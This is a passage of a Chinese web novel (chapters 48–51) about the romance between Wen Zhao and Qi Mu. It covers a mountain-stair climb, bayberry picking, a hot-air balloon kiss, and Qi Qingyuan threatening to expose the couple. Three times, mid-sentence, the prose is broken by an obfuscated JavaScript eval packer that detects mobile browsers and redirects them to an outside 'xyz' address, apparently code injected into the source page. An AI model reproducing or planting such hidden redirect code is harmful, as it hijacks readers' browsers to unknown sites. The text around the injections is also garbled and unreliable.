“好,”温昭回头看向许汀州,“汀州哥,那我先走了。你之后如果有事……也可以随时找我。” 祁慕一听,眉头顿时蹙了起来,垂下眼紧紧盯着她。 “嗯。”许汀州应了一声。 祁慕没再给对方多说一句的机会,拉起温昭的就往外走:“走了走了,这不让停车。” 他腿长,步子迈得大,一步就抵上她两步,温昭几乎要小跑才跟得上。 直到走到餐厅外,确认只有他们两人的时候,他才渐渐放慢脚步。 温昭说:“你不是说这不让停车,快走吧。” 祁慕低低咳了一声,摸了摸鼻尖,声音有点含糊:“……刚刚突然想起来,我停的那边……好像可以临时停一下。” 温昭没听清:“啊?” 他别开脸,闷闷地开口:“你跟他聊得挺开心啊?他有什么事,还非得你帮忙?” “他要去国外了,刚去那边要是遇到困难,我能帮就帮一下。” “去国外?” “嗯。” 听到这话,祁慕立马低下头,口罩遮住了他紧抿的唇,可眼角却悄悄弯起,怎么压也压不住。 “那……确实是该帮一下。” 他抽出手,摸了摸温昭的头:“我们家昭昭,真好。” 温昭被他这突如其来的亲昵弄得有点莫名其妙,还还没来得及反应,就被他再一次牵紧手,带着快步穿过雨雾朦胧的街道。 - 路对面,一辆黑色轿车缓缓驶过。后座上的男人刚按熄手机屏,漫不经心抬眼望向车窗外。 却骤然定住了视线。 他一眼就捕捉到了那个熟悉到刺眼、又讨厌至极的身影。 “停车!”祁子航猛地坐直,脱口喊道。 身旁的祁清远转过脸,语气淡漠:“怎么了?” 祁子航朝窗外那两个并肩走来的人影抬了抬下巴。 祁清远倾身越过他,目光先是冷峻地落在祁慕身上,随即定在他的手上。 他不禁皱起了眉。 “真没想到啊,咱们这位大明星,居然偷偷谈起恋爱了。”祁子航在一旁轻笑,语气讥诮。 那两人越走越近,灯光勾勒出女孩纤细的侧影。祁清远眯起眼,只觉得那姑娘莫名眼熟。 好像在哪里见过。 可念头一闪而过,偏偏抓不住痕迹。 他骤然收回视线,声音沉冷:“开车。” 随即转向祁子航,语气强硬,“今天看到的,一个字都不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286451|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准往外说。” 祁子航对上祁清远极少对他显露的厉色,皱了皱眉,嘴上敷衍地应道:“……知道了。” 可一等祁清远转回头,他就迅速拿起手机,借着敞亮的路灯,对准窗外迅速偷拍了几张。 他放下手机,低头点开相册,指尖一划。 照片被放大,清晰地呈现了祁慕和他身旁女孩,还有他们相牵的手。 祁子航嘴角轻轻一扯,眼里浮起一丝喜悦。 他按熄屏幕,往座椅里一靠,若无其事地哼起了不成调的小曲。 车继续向前行驶。 祁清远靠在椅背上,看着窗户上快速蜿蜒而下的雨滴,琢磨着。 到底在哪儿见过…… 就在这时,一道雷声砸下。 电光石火间,他的记忆也被瞬间劈亮。 是那次。 他动手教训祁慕之后,出门的时候,瞥到的那个姑娘。 ……原来是她。 - 车开到城东,雨已经小了许多,车窗上只疏疏落落挂着几道雨痕,蜿蜒滑落。温昭悄悄侧过脸,目光又一次不受控地飘向驾驶座上的祁慕,看着看着,就又走了神。 这张脸真是越看越帅。 是那种带点侵略性、极具冲击力的浓颜。 浓妆将他骨相的优越,勾勒得淋漓尽致。眉骨高而清晰,眼窝微陷,烟熏眼影层层铺染,衬得那双眼睛愈发深邃迷人。睫毛长得不像话,鼻梁高挺又带一点恰到好处的钝感,清晰的驼峰衔着眉心,带了点野性和英气。 这一路只要等红灯或临时停车,祁慕的余光总能捕捉到她那道毫不掩饰的目光。 他终于忍不住了,打了转向灯,利落地一把方向靠边停进临时车位。 “怎么停了?”温昭看向窗外一家亮着灯的小超市,“要买什么东西吗?” “不买,”他单手解开安全带,整个人侧过来,“收点费。” “……什么费?” “你说呢?” 他忽然倾身靠过来。 温昭下意识抵住他的肩膀:“你干嘛?” “这话该我问你吧,”他低笑,“看了我一整路,你想干嘛?” “……没什么。” 祁慕轻轻嗅了嗅:“喝酒了?” “就……一点儿……” 他仔细端详她两秒。 眼神清亮,脸颊也没泛红。 行,没醉就好。 喝就喝了吧。 “酒会这么快就结束了?”温昭转移话题。 祁慕也顺着她的话回着:“没。” “那你怎么……” “太吵,闷得慌,不喜欢。” “……哦。” “那你……”她小声转开话题,“喝了多少?” “某个人之前可是严肃提醒过我‘喝酒伤身’的,”他挑眉,带着邀功的意味,“一口没喝。” 他又凑近了些,声音压低,带着气音:“有没有奖励?” “奖励?” “嗯,我这么听话,不值得给点奖励?” “我只说让你少喝点……” “我不管,”他开始耍赖,“我要奖励。” “要不……”温昭想了想,又说,“我带你去玩?” “玩什么?” “你就说去不去?” 这显然不是祁慕想要的“奖励”。 但看着她一脸期待的样子,他还是笑了:“去。” 他又问:“什么时候?” “周五?我刚好休息。” “行。” 温昭抿唇笑:“那……回家?” 祁慕没再纠缠,重新发动车子。平稳驶过两个路口,他才忽然反应过来。 怎么总觉得……好像被她带偏了? 49. 第49章 今年的梅雨季节与往年不同。 还没正式出梅,雨却说停就停。才六月中旬不到,气温就猛地窜上了三十二度。自从周三夜里那场雨过后,连着几天都没看到过一点雨丝,只有太阳。 今早温昭一出门,才几分钟,头发就被晒得发烫。 她坐在副驾驶上,即便空调开低了一档,仍觉得有些闷。 开车的还是祁慕。 温昭自己的车得周日才能取,祁慕这辆又是手动挡,她也帮不上什么忙。 车缓缓开到高速路口,祁慕排着队,点着导航:“去哪?” “玉濛山。” “怎么想着去那儿?” “网上说……那边的杨梅正好到季节了,”她抿了抿唇,“有点馋。” 祁慕轻轻笑了一声:“不是你说要带我出去玩?结果是自己嘴馋啦?” “那边也很好玩的!”温昭急忙补了一句,“……而且特别凉快。” 其实倒也不全是为了杨梅。 她昨晚翻了大半夜手机,把热门推荐的几个地方刷了个遍,怎么看都不合适。 高考刚结束,到处都是结伴出游的学生。 万一他被认出来…… 岂不是完了。 更何况这种天气,要是全程戴口罩遮掩,怕是没走两步就要闷晕过去。玉濛山就不一样了,气温比城里低六七度,人少清静,再适合不过了。 …… 玉濛山其实也属于星海市,只不过不在一个区。温昭住的海硕区靠海热闹,玉濛山则在南滨区的边缘。 一个东,一个北,从她家开过去,差不多得两个小时。 一路上温昭强打精神陪祁慕聊了会儿天,可她昨晚睡得太晚,空调风徐徐吹着,窗外的风景不断重复,她眼皮渐渐就沉了。 头一歪,不知不觉睡了过去。 车内只剩下低低的音乐声静静流淌。 再醒过来的时候,车早已驶离高速,正沿着山路蜿蜒向上。祁慕关掉了空调,降下车窗,清冽的山风一丝一丝渗进来,带着植物和泥土的气息。 温昭瞥了一眼车内的控屏—— 室外温度:25℃。 车沿着蜿蜒的山路又绕了一阵,树影越来越密,温度也越来越宜人,直到最后,缓缓停在一片绿意盎然的入口处。 温昭推门下车,祁慕走到她身边,牵起她的手朝里走去。 杨梅园还在半山腰,得爬一段石阶才能到。 令温昭没想到的是,台阶两旁系满了密密麻麻的红绳和祈福袋,周围还点缀着一簇簇鲜艳的假花,风一吹,轻轻摇曳。 一对头发花白的老夫妇正慢悠悠地从他们身旁走过,老奶奶忽然转过头,笑眯眯地望过来。 “小伙子,带你老婆来走台阶呀?” 温昭耳根一热,刚想解释—— 祁慕却先一步开口:“爷爷,请问这儿是……?” “哎哟,你们不知道啊?”老爷爷有些惊讶。 一边搀着老爷爷的奶奶回复着:“这儿呀,叫‘百步梯’。小情侣或者小两口要是能一块儿走完这九十九阶,往后就能情意相通、甜甜蜜蜜!再往上走,还有个千步梯,要是走完那九百九十九阶呀——”她声音扬了扬,“那可就是一辈子长长久久,再也分不开咯!” 老爷爷也眯眼直笑:“我们还以为你们小年轻,是专程来这儿讨个好彩头的呢。” 温昭忍不住低下头,唇角扬了起来。 却没想到。 祁慕格外坦荡地接了一句:“是,我们就是来走的。” “啊?”温昭诧异地抬眼看他。 ——不是来摘杨梅的吗?? 祁慕却像是没看到她的眼神,还继续问那对老人:“爷爷奶奶你们也来走吗?” 爷爷连忙摆摆手,笑呵呵的:“老啦,腿脚不中用啦!” 他的语气慢慢放缓,像是陷入了回忆之中,“就趁天气好,来这附近看看风景。不过,年轻那会儿可是走过的。”说着,他轻轻拍了拍身旁奶奶的手,眼底聚满了幸福,“你瞧,这不就是最好的证据?” 祁慕闻言微微一笑,眼里漾开一丝羡慕。 “真好。”他说。 又闲聊了几句,两位老人就相互搀扶着,慢悠悠往山下走去。 祁慕这才转回身,眼里带着笑,看向温昭:“昭昭,你不是说来摘杨梅吗?” 温昭脸一热,指了指台阶尽头隐约可见的山顶:“走、走上去……就能摘了……” 他该不会以为,她是故意带他来的吧?! “哦——”祁慕故意拉长语调,眼里笑意更浓,明显不信。 温昭看着他一副“我懂了”的表情,对着他淡淡一笑。。 果然,他就是这么想的! 她看着祁慕,抿了抿唇,小声问:“祁慕……你想走吗?” 他没回答,反而俯身靠近她,望进她眼睛里:“昭昭,你想走吗?” 温昭抬起头,望向前方蜿蜒而上的石阶,一级一级没入云雾缭绕的山间。她低头看了看两人仍紧紧牵在一起的手,又侧过脸,看向身旁的人。 他眉目俊冷,眼神却炙热,又带着一丝期盼。 也在这时。 有一股冲动,像是春天破土而出的新芽,悄悄地撞着她的心跳。 “想。”她说。 她知道,祁慕是想走的。 那她,就更想。 就算只是个没有凭据的传说,她也愿意和他一步一步走完。 也偷偷盼着,能像那对爷爷奶奶说的—— 长长久久。 “那就走。”他手指收紧,将她整只手拢进温热的掌心。 “好,”温昭笑了起来,说完又想起今天最初的目的,急忙补上一句,“但杨梅也要记得摘!” 祁慕忍不住笑出声:“好,摘,都听你的。” - 石阶一路蜿蜒向上,掩在深深浅浅的树影里。山风沁凉,拂过皮肤,一路走来竟丝毫不觉得燥热。只听得见竹叶簌簌作响,偶尔几片青叶悠悠荡荡,轻飘飘落上肩头。 路上偶遇几对已经登顶正慢悠悠下山的游客,彼此点头笑笑,也不多话,心照不宣似的。 太阳慢慢挪了位置,他们俩的影子也稍稍斜了一些。 可不变的是。 他的手始终牢牢牵着她的,十指紧扣,一下都没松开。 …… 虽说总共是九百九十九级台阶,却不是笔直一条路通到底的。而是沿着蜿蜒的山路,隔个一小段,才铺那么几级,不知不觉已入了山深处。 日头渐渐攀到正空,头顶树叶越发稀疏,阳光趁机从缝隙里大片大片洒落,映得石阶发亮。 台阶一旁立着一块石碑,上面用红漆描了字—— 900阶。 温昭额角沁着细密的汗珠,脸颊泛红,呼吸也带了点喘。小腿又酸又沉,即便走在平路上,都觉得比前一步更重。 可祁慕却什么感觉也没有。 他本就常运动,这点路对他来说,就算有点累,也不过是家常便饭,实在算不得什么。 他侧过脸,目光落在她湿漉漉的鬓角:“要不要休息会儿?” “好……”温昭应得有点虚,声音里还带着点喘。 两人在阶旁一张原木长椅上坐下。 祁慕从兜里摸出一包纸巾,抽出一张,替她擦去颊边的汗。接着又拿过之前在半山腰买的矿泉水,拧开瓶盖,递到她手边:“喝点水。” 温昭接过水,指尖触到瓶身的凉意,才稍稍缓过来些。 瓶口刚放到嘴边,她动作顿了顿,侧过脸,轻声叫他:“祁慕。” “嗯?” “你信这个吗?”她问,眼神瞟了眼那块“九百阶”的石碑,又落回他脸上。 祁慕抬眼望向远处层叠的山峦,沉默了片刻。才转眼看她,低声开口:“以前不信。” “为什么?” “因为,我以前总觉得这些都是虚无缥缈的。”他语气很淡。 就像他妈妈病得最重的那段时间,不知从哪听来的话,说,满月时对着月亮诚心许愿,就能如愿。那个时候他还小,就相信了,也试了。 可月光从没回应过他。 更小的时候,他也曾双手合十,诚心祈愿,盼着一家人能团团圆圆。可这个愿望, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286452|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他六岁那年,就彻底碎了。 后来他也慢慢地明白,有些事再虔诚也盼不来。 不是虚无缥缈,又是什么。 温昭望着他微绷的侧脸,原本以为他执着、甚至近乎急切地要牵她走完这九百九十九阶,是因为他信这些传说。 可居然不是。 她轻声问:“那现在呢?” 祁慕看向她,目光沉静、认真,且只有她一个人。 他说:“现在,我想…信。” “为什么?” “因为我想试试。” “试什么?”她望进他深沉的眼底。 他突然伸手,温昭猝不及防被拉入他怀中,怔怔地忘了反应。他的额头轻轻抵在她颈侧,带着温度的呼吸拂过她颈侧,微微发痒。 山风掠过,吹起她几缕发丝,软软地扫过他的脸颊。 他声音低沉,一字字落下:“试试看……是不是真的能和你,长长久久。” 哪怕从前失望过一千次、一万次,但唯有这一次—— 他心甘情愿再信一次。 只因为这个人, 是她。 是他黑夜中唯一看见的星芒。 - 脚下的尘土簌簌落进石阶缝里,日头明晃晃地悬在头顶,连点绿叶的遮挡都没了。眼前是望不到头的山,一层叠着一层,还有些没散尽的云雾,虚虚实实浮在半空,像幅没干透的水墨画。 温昭一只脚还踩在第九百九十八级上,胸口起伏得厉害,气都喘不匀,嗓子眼儿里有点发涩,带着点血腥味。 她抬眼,祁慕站在第九百九十九级的平地上,正垂着眼看着她。他手指修长,骨节分明,将她微颤的手握得极紧。 “昭昭,上来。” 温昭借着他的力道,咬着唇一撑,发软打颤的腿总算迈上最后那阶,整个人差点软下去,还好被他稳稳扶住。 ——这台阶,这辈子爬一次也就够了。 她在心里暗暗说着。 转眼,身旁的石柱上清晰刻着字—— 第九百九十九级 剩余零级 她长长地、彻底地舒出一口气。 总算…… 到了。 她偏过头,另一侧的石柱上深深镌着一行朱漆的字,红得像玛瑙。那字仿佛带着温度,撞进她眼里: “一步一印,心手相牵;岁岁年年,皆如今日。” 她垂眼看着祁慕牵着她的手上,眼角弯起。 “走吧。” “嗯。” 往前不远,有棵枝繁叶茂的老树,满枝桠挂满了密匝匝的许愿带,红绸在清风里轻轻摇晃,如跳动的火焰,每一根都系着一个虔诚的心愿。 虽然不知道灵不灵,但祁慕还是买了两条。 两人伏在木案前低头写着。 祁慕先写完,走到温昭身边:“写了什么?” “不告诉你。”她手忙脚乱把许愿带藏到身后,耳根有点热。 “你写了什么?”她抬头反问。 他嗓音低沉,带笑:“秘密。” “不说就不说。”她小声嘟嚷着。 等祁慕转头,才悄悄展开刚写好的字条,笑着,看了一眼—— “愿我所爱之人前路无孤寂,余生皆坦途。更愿往后岁岁年年,皆昭昭慕慕。” 他们默契地走向树的两侧。 温昭踮着脚尖,努力把许愿带系在够得到的最高枝头,胳膊伸得笔直,裙摆被风掀起来一点。祁慕就站在不远处,目光落在她微微踮起的脚尖和努力伸直的指尖上,很轻地笑了一下。 他没急着挂自己的。 等她系好结、站稳,才不紧不慢地抬手。 他本就个子高,手臂一伸就轻松够到了高处那根向阳的枝头。 正好在她那条的对面上方。 他仔细系了个牢牢的结。 而后,轻轻抚摸着上面的字,眼角弯起。 山风吹起他额前的碎发,也微微拂动那条刚刚系好的许愿带,墨迹清晰而深刻: “愿我能保护好我所爱的人,岁岁无忧。更愿长路漫漫,慕慕昭昭。”——祁慕。 50. 第50章【小修】 山风轻柔,拂过微微汗湿的发梢,带来几分沁人的凉意。下山可以坐缆车,温昭也实在走不动了,祁慕便去买了两张票。 “咔”的一声,门缓缓合上。 缆车微微一晃,顺着索道平稳下行。 窗外的景致倏然开阔,层叠的山峦在脚下铺展,浓绿、浅翠交织成一片,像块没铺平的绿绸缎。远山如黛,泉声隐约,什么都好。 只除了一点。 不过这问题仅属于祁慕。 他有点恐高。 倒也不算严重,飞机什么的都坐得来,只不过没法低头从高处向下眺望。他只能紧紧攥着温昭的手,目视前方,身子绷得像块铁板,一动不动地盯着对面逐渐下降的山峰。 他硬撑了一路。温昭同他说话,他也一一应着,声线稳得几乎听不出异样。 毕竟,他怕打针这事她已经知道了。 若连恐高也被她知道。 那他这脸可真没地方搁了…… 他本就是个极要强的人。 几分钟后,缆车缓缓停靠在半山腰。 也就是“杨梅园”。 抬眼望去,满山遍野种满了杨梅树,郁郁葱葱之间缀着点点红果。不远处散落着几家农家乐,炊烟袅袅,透着闲适的气息。 两人倒也不急着摘杨梅,时间已近中午十一点半,走了一上午的山路,肚子也早饿了。 温昭拉着祁慕,选了一家人不算多的农家乐走了进去。菜色朴实,味道却出乎意料地好,关键是价格实惠。同样一碗菜,价钱还不到星海市区的一半。 两人吃得心满意足。 简单歇过之后,他们拎上采杨梅用的小竹篮,跟着一个农户走进杨梅园。 也许是工作日的缘故,园里游客稀稀疏疏,只有零星几家人在树下说笑采摘。 祁慕四下看了看,顺手将口罩摘了下来,眉眼舒展地呼出一口气。 “祁慕,过来帮我一下。”温昭在不远处踮着脚朝他招手。 “来了。” 他三两步走到她身边:“怎么了?” “想要那颗!”她指了指树梢顶端那颗又大又红的杨梅。 “嗯,摘啊。”他故意站在原地不动,笑着说。 温昭蹙起眉,语气柔,带着点儿不乐:“我要是够得着,还叫你过来呀……” 祁慕低头看着她笑,没等她反应过来,忽然弯腰,一把将她稳稳地托抱起来。 温昭轻呼一声,心跳漏了半拍,下意识扶住他的肩。 “你…干嘛?”她垂眼看他,声音轻轻发颤,脸颊泛红。 “自己看上的,”他声音里带着笑,抱得极稳,“当然得自己摘才好。” 她睫毛扑闪着,努力缓神,视线回到那个硕大、黑红的杨梅上。 抬手,小心折下。 “…好…了。” 祁慕慢慢将她放下。 山坡有些陡,她脚下没踩实,轻轻撞进他怀里,抓紧了他的衣服。 又受惯性,弹开。 温昭抬起头,对上他深邃的眼睛。 他低声问:“不尝尝看?” 她低头理了理杨梅上的枝叶,看着这颗杨梅。 顿了顿,又看向身侧的人。 “给你。” 祁慕微微一怔。 “你帮忙摘的,就当…报酬。” “那就……谢谢昭昭了。” 他握住她的手腕,视线一直凝在她脸上,低头轻轻咬下那颗杨梅。唇瓣不经意擦过她的指尖,像羽毛扫过,温温的,带着点痒。 果肉在齿间一抿就破了,酸甜的汁水“滋”地一下漫开来,顺着舌尖往喉咙里淌。 温昭满脸期待地看着他:“怎么样?甜吗?” 他慢条斯理地咽下,才微微勾唇,语气拖得有点长:“嗯……还行。” “就……还行?” “不应该呀,刚才比它小、没它红的都特别甜……”她小声嘀咕着,一脸不信。 下一秒。 祁慕握住她的手腕轻轻一拽,将她转了半圈面对自己。手臂顺势揽住她的腰,微微俯身,在她唇上飞快地啄了一下。 快得像风吹过,她连眨眼的工夫都没有。 “嗯,”他直起身,点点头,眼底漾着得逞的笑意,“这下甜了。” 温昭僵在那儿,嘴巴微张着,唇上还留着他的温度,软软的,带着点刚吃过杨梅的微甜。 她眨了眨眼,脸颊倏地红透,羞恼地皱起眉。 “祁慕!” 说完,她转身就要往另一棵树走去,后腰却被他从身后一把圈住了。 “错了错了,”他带笑的声音贴在她耳畔,呼吸温热,“下次一定提前报备。” 温昭耳根发烫,用手肘轻轻抵了抵他的胸口,却根本没用力,反而更像撒娇。 他低笑着收拢手臂,将她又圈紧了些。 “还摘吗?” 温昭低头看了看两人拎的杨梅篮,其中一个还没满,浅浅铺了一层,留着些空隙。 “再…摘一点儿?” “好——”他牵起她的手,朝不远处一指,“我们去那,那棵树上的大,而且红,肯定甜!” “好。” - 夕阳渐沉,两人驾车下了山,缓缓停在一片开阔的草坪边上。这儿是一处露天烧烤区,空气中飘来炭火和食物的香气,人间烟火,袅袅不绝。 可温昭怎么都没想到,这里居然还有热气球。 她望着那个色彩相间、轻轻晃动的热气球,一时晃了神。天空中已经飘着三五只热气球,像一颗颗饱满的糖果,缀在这渐变的暮色中。 她坐过热气球。 不过,是在很小的时候。 在国外。 那时候爸爸把她稳稳抱在怀里,妈妈站在一旁,轻轻牵着她的手笑…… 只是那时气球具体是什么颜色,她早已记不清了。 大概,也是像这样五彩缤纷的吧…… 夕阳西下,天边晕开一片暖红,云霞如同被点燃的绸缎,温柔地笼罩着四野。 就像此时此刻。 手机也在这一瞬亮起。 屏幕上“6.14”的数字映在她眼底。 还有两天,就是父亲节。 她望着远处草坪上那只静静停泊的彩格热气球,有一家三口正站在篮筐里,笑着等待升空。 她嘴角不自觉地弯起一抹安静的弧度,还带着一丝…羡慕。 祁慕侧过脸看她。 夕阳的余晖拂过她栗棕色的长发,染上一片暖金色的光晕,眼眸深处也像是落进了霞光,泛着温柔的红。她安静地站在原地,一身淡蓝色的长裙随风轻摆,与天幕渐渐融合,像一幅安静、美好的画。 “想坐吗?”他轻声问。 温昭回过神,目光掠过被工作人员围绕的热气球,笑了笑。还没等她开口,祁慕已经牵起她的手,毫不犹豫地朝热气球走去。 工作人员热情地迎上来:“帅哥,带女朋友一起来坐热气球呀?” 祁慕握紧她的手,答得没有半点犹豫:“嗯。” 温昭抬起眼望向他。 他好像总是这样,不需她多说什么,就能一眼看穿她所有未曾出口的心事。 ——祁慕。 ——谢谢你。 - 热气球缓缓升向被晚霞染红的天际,祁慕从身后轻轻搂住她,温昭安心地靠在他怀里。 意外的是,他这一次并没有像之前那样紧张。 也许是因为热气球是平稳上升的,也许是因为脚下并非令人眩晕的透明高空,又或许…… 只因为这一刻,他怀里有她。 他的全世界,正被他拥在怀中。 好像……也没什么值得害怕的了。 “以前,爸爸总爱带我和妈妈到处去玩,看所有他没看过的新鲜事物,”她靠在他胸前轻声说,“他是个永远对世界充满好奇的人。” “他离开之后,妈妈就代替他继续去看这个世界。可我却……渐渐不再想看了。”她停顿了一下,“也许是因为那会儿学业太重,后来工作又忙,总觉得……没什么精力再去追寻了。” 可是,现在好像变了。 哪怕只是和他一起做最普通的小事,也莫名变得有趣起来。就算工作再累、心再烦,只要一见到他,整颗心就像被稳稳接住,慢慢松弛下来。 她常常忍不住想: 有他在身边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286453|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的很好。 她喜欢烟花,他就带她看了两场绚烂无比的烟花; 她无意中提起喜欢京海的糖葫芦,没过几天他就真的买来送到她手中; 她想看演唱会,他陪她听到散场。 在此刻,温昭越来越觉得,有些风景之所以难忘,不是因为它们本身有多惊艳… 而是因为,身边站的人,是他。 而在此刻,她的心里也悄悄藏着个愿望—— 她想陪他一起,真正地去看看这个世界的美。 他说过,他自己并不喜欢这些热闹和风景。 不过是因为她喜欢,他才愿意陪着她,才觉得变得有意思。 温昭知道祁慕的过去,也懂得他身上的刺从何而来。 刚认识他的时候,他言辞锋利,哪怕是在说脱口秀,也时常带着一种近乎极端的冷冽。 但她明白这是为什么。 一个从未被这世界温柔对待过的人,又怎能轻易交出柔软的真心。 而他的那一点温度、那一点温柔,几乎全都给了她和他的外婆。 她侧过脸看他,慢慢开口,又问出了那个问题:“祁慕,你今天……开心吗?” “开心。” “为什么?” 他没有任何犹豫:“因为你。” 如果是从前,还没在一起的时候,温昭听到这句话一定会心跳加速、悄悄欢喜。 可这一刻,她却没有半点开心的感觉。 她轻轻从他怀中退开,双手捧起他的脸,望进他深色的眼底,语气认真:“祁慕。” “怎么了?” “我不想你只是因为‘我开心’,所以才开心。”她声音轻柔,字字清晰,“我想让你是因为你自己。是因为吹到舒服的风,看到很美的云,是因为真真切切地感受到这个世界的美好……而觉得开心。” 祁慕怔了一瞬。 “我知道,这世界曾经对你冷过脸、撒过盐……可我相信,往后它一定会把欠你的温柔,一点点全都还给你。” “……嗯。”祁慕嘴角微扬,低低应了一声,握住她的手,指尖轻轻收拢。 温昭也仰脸看着他笑,视线从他被晚霞映亮的眼眸悄悄滑落,掠过高挺的鼻梁,最终停在那双淡红色的唇上。 心跳停滞了一拍。 下一秒。 她踮起脚尖,仰起脸轻轻吻上他的唇。 祁慕蓦地一怔,垂眸看向近在咫尺的她。 她闭着眼,睫毛像蝶羽般轻轻颤动。 他嘴角扬起,慢慢闭上眼,微微侧过头,温柔地接住了这个吻。一点一点,细致地回应,如同承接一滴初夏的露水。 他的手臂环上她的腰,将她稳稳拢进怀里。 她的手也顺势攀上他的肩,指尖无意识地蜷进他衣料之中,带着生涩的勇敢。 远处夕阳渐沉,天边漫着层温柔的霞,粉紫掺着橘红,微风拂过,却吹不散这方寸之间的缱绻。他稍稍退开些许,额头仍抵着她的,呼吸微乱,低声带笑:“昭昭……” 她睁开眼,眼底蒙着层薄薄的水汽,望进他不在深邃的眼眸里,那里面映着她泛红的脸颊,以及身后漫天温柔的暮色。 “嗯?” “我答应你,会好好感受这个世界的好……” “不过,我要和你和我一起。” “好。”温昭轻声应道。 话音还未完全落下。 祁慕便已再一次低头吻了上去。 不同于之前的轻柔,他的吻变得深入而急切,仿佛要将方才所有的承诺与触动,都透过交缠的呼吸切实地传递给她。 他若有似无地含吮她的下唇,像品尝一颗即将融化的糖果,手掌轻轻托住她的后脑,指尖穿入她发丝间,轻柔地摩挲着她的头发,让她更深地迎向自己。 夕阳的余晖将相拥的身影拉长,镀上一层暖昧的金边。风轻轻撩起她散落的发丝,软软地扫过他发烫的手臂。 他稍稍撤离,呼吸粗重地抵着她的额头,眼底是未褪的浓深与占有: “盖个章……免得你反悔。” 温昭脸颊红得能滴出血,气息不稳,只能微喘着将发烫的脸埋进他胸口。 “我不会……” 51. 第51章 车缓缓停稳进停车位时,夜色已沉。祁慕放下手刹,拔下钥匙,只余几声断续的蝉鸣。 他侧过身,靠在驾驶座椅背上看着温昭。 她睡得正熟,呼吸轻缓,脸上的几簇发丝被窗外照进的路灯映得柔和。 他抬起手,指腹极轻地将她颊边那一缕垂下的碎发挽到耳后,指尖擦过她的皮肤,温温热热的。 温昭像是被这细微动静扰到,下意识地蹙了蹙鼻子,皱了皱眼,却没醒。 祁慕看着她这副模样,嘴角不自觉地扬起来,鼻尖溢出极轻的笑声,眼神也渐渐软了。 他就这么静静地看着她,不忍打扰。 窗外树叶被晚风拂过,沙沙作响。皎洁的月光混着昏黄的路灯浅浅地投落,将车笼罩在一片朦胧静谧之中。 就在这时—— 一阵手振动声突兀地响了起来。 祁慕皱眉,从口袋里拿出手机。 屏幕亮起,“祁清远”三个字跳入眼中。 他眼底那点温柔瞬间冷了一半,想也没想就摁熄了屏幕。 刚挂断,对方又不依不饶地打来第二通。 他再次挂断。 第三通电话紧接着响起,细小的振动声在安静的车内显得格外刺耳,旁边的温昭动了动,像是要醒。 祁慕烦躁地啧了一声,看了眼身旁转身的温昭,轻手轻脚地推门下车。 他接起电话,声音很轻:“干什么?” 电话那头传来了祁清远的声音:“明天下午,来我这一趟。” “祁清远,我上次说的话你是不是又忘了?”他语气冷硬,“我说过了,我跟你之间无话可说,更没什么关系可谈。” 他正要挂断,听筒里却传来对方不急不缓的一句:“如果你不想你跟那位温小姐的事被曝光,就过来。” 他瞳孔一紧,将手机重新贴回耳边,声音带着被挑起的慌乱:“你说什么?” 祁清远没回复他,只冷冰冰地丢下一句:“明天下午两点,我在老宅等你。” 不等祁慕再应,听筒里便只剩下“嘟—嘟—”的忙音。 他胸口剧烈起伏着,低低骂了句。 “操!” 他烦躁地靠向车门,双臂撑在车框上,仰起头。天上厚重的云层正缓缓移动,一点点吞没了原本皎洁的月光。 他不知道祁清远突然找上门是为了什么,但用脚指头想都知道,绝对没好事。 车内,温昭听到些许动静,慢慢睁开了眼睛。 她迷糊地看向驾驶座,是空的。车门虚掩着,外面立着一个高大身影。她拿下身上那件祁慕的外套,推开车门,走了下去。 祁慕也听到动静,转身,看见温昭绕过车头,朝着他走来。 她问:“你怎么在外面?” “哦,”祁慕迅速把那些烦躁和冷意都收敛了,顿了顿,“刚接了个电话,怕吵醒你,就出来说了。” 他抬手揉了揉她的头发,语气温柔下来:“是不是吵到你了?” “没有。”温昭摇摇头,主动拉住他的手,“我们上去吧。” “……嗯。” 两人停在电梯口等着,祁慕眉头不自觉地又锁紧了,还在想祁清远的事情,内心总觉得不安、忐忑。 他太了解祁清远了,这几年他主动找来,十有八九都和祁子航有关,可每次也都直接了断的说。 可这次,他竟然用温昭来威胁他…… 而且他到底是怎么知道的… 他想干嘛…… 一大堆问题错综复杂地盘问着他。 温昭转头看他。 祁慕眉头紧锁,脸色沉得可怕。 她伸出手,轻轻将他的脸转向自己,指尖温柔地抚平他紧蹙的眉宇。 “是不是太累了?” 祁慕回过神,对她勾起一个笑,掩去所有异样:“没有。” 电梯“叮——”的一声打开。 祁慕牵着她走了进去。 沉默了一会儿,他转头看向她,缓缓开口:“昭昭,明天……下班我可能没法跟你一起走了。” “是有工作吗?”温昭仰头回看。 “……嗯。”他应着,目光落在她脸上,有点涩。 “那你记得别太累了。” 